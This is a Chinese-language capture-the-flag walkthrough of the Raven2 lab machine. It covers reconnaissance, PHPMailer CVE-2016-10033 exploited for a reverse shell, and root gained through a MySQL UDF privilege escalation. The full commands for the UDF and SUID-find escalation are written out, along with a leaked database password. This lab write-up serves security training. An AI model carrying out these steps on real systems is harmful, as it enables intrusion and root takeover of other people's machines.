nmap扫描靶机ip
nmap -sV 192.168.111.20 -T4
访问80端口:
dirsearch来fuzz目录
dirsearch -u http://192.168.111.20:80
逐个访问,发现/js/vendor/bootstrap.min.js存在版本信息
Bootstrap v4.0.0
访问/vendor/
继续收集信息,进入/PATH 得到flag1
下载SECURITY.md得到提示 CVE-2016-10033
搜索Bootstrap漏洞后发现版本太高,暂无比较好的漏洞可以利用,阅读README.md,或者直接去搜索CVE-2016-10033,均可以得到exp,我们这里阅读README.md
得到信息 PHPMailer
进入searchsploit进行搜索
这里我们选用第四个,也就是40974.py,将其复制出来
接着我们修改exp,以达成利用,修改靶机以及攻击机ip即可
首先开启监听
执行exp时发现缺包,由于直接pip install会有风险,所以创建一个虚拟环境进行安装
python3执行,执行后监听端口,并访问你上传的php文件,成功反弹shell
获得交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
使用find寻找flag,得到两个flag,最后一个flag需要得到root权限
提权
这里我们尝试提权
访问wp-config.php得到mysql的root密码,所以这里我们尝试mysql提权
mysql -uroot -pR@v3nSecurity
进行UDF提权,提权条件如下
1)mysql数据库的root权限
2)secure_file_priv的值为空
3)如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下/
4)如果mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。
dpkg -l | grep mysql
\查看mysql历史安装包
ps aux | grep root
\查看mysql进程信息
mysql版本大于5.1
exploit搜索mysql的exp,这里我们选择:
searchsploit一下
将其复制下来
对文件进行编译,并上传到靶机,在靶机上用wget直接获取就行
然后登录数据库
创建表raven2
create table raven2(line blob);
将刚上传的cmd.so插入表
insert into raven2 values(load_file('/var/www/html/cmd.so'));
raven2表成功插入二进制数据,然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出,outfile会有特殊的转换,而dumpfile是原数据导出!
新建存储函数
select * from raven2 into dumpfile '/usr/lib/mysql/plugin/cmd.so';
创建自定义函数do_system,类型是integer,别名(soname)文件名字
create function do_system returns integer soname 'cmd.so';
查询函数是否创建成功
select * from mysql.func;
调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令
select do_system('chmod u+s /usr/bin/find');
最后一步,find提权,大功告成